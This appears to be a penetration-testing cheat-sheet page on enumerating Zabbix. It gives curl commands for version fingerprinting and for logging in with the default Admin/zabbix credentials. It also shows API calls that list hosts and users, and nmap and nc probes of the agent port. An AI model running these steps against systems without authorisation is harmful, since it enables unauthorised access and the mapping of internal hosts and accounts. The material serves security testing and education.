# Zabbix Enumeration

> Enumerate Zabbix monitoring infrastructure, identify exposed APIs, default credentials, agent configurations, and version fingerprinting to map attack surface.

- **URL:** https://hackindex.io/services/zabbix/enumeration/zabbix-enumeration
- **Path:** Zabbix > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/zabbix/enumeration.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Zabbix is a monitoring platform with a web frontend (port 80/443), a server (port 10051), and agents (port 10050). The web interface often has default credentials, and the agent protocol allows command execution when misconfigured. Enumeration focuses on identifying the version, testing default credentials, and checking agent accessibility.

## Web Interface Detection

```bash
curl -s http://$TARGET_IP/zabbix/ -o /dev/null -w '%{http_code}'
# 200
```

**Version from login page**

```bash
curl -s http://$TARGET_IP/zabbix/ | grep -oP 'Zabbix [0-9]+\.[0-9]+\.[0-9]+'
# Zabbix 6.0.21
```

## Default Credentials

Zabbix ships with default admin credentials. Test them against the web interface.

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"zabbix"},"id":1}'
# {"jsonrpc":"2.0","result":"a1b2c3d4e5f6g7h8i9j0","id":1}
```

The guest account is disabled by default since Zabbix 6.0 but may be enabled on older installations.

## API Enumeration

With a valid session token, enumerate hosts, users, and configuration through the JSON-RPC API.

**List monitored hosts**

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host","name","status"],"selectInterfaces":["ip","port"]},"auth":"<SESSION_TOKEN>","id":2}'
```

**List users**

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username","name","surname","type"]},"auth":"<SESSION_TOKEN>","id":3}'
```

## Agent Port Scanning

Zabbix agents listen on port 10050. If the agent is configured to accept commands from any host (not just the Zabbix server), it can be exploited for RCE.

```bash
nmap -sV -p 10050,10051 $TARGET_IP
# PORT      STATE SERVICE    VERSION
# 10050/tcp open  zabbix-agent Zabbix Agent
# 10051/tcp open  zabbix-trapper Zabbix Trapper
```

**Test agent access**

```bash
echo 'system.hostname' | nc -w 3 $TARGET_IP 10050
# ZBXD\x01web-server-01
```

If default credentials work or agent access is confirmed, continue to [Zabbix agent RCE](https://hackindex.io/services/zabbix/exploitation/zabbix-agent-rce) for command execution.

## References

- [Zabbix: API Documentation](https://www.zabbix.com/documentation/current/en/manual/api) - Official JSON-RPC API reference.
- [HackTricks: Pentesting Zabbix](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/zabbix.html) - Zabbix enumeration and exploitation reference.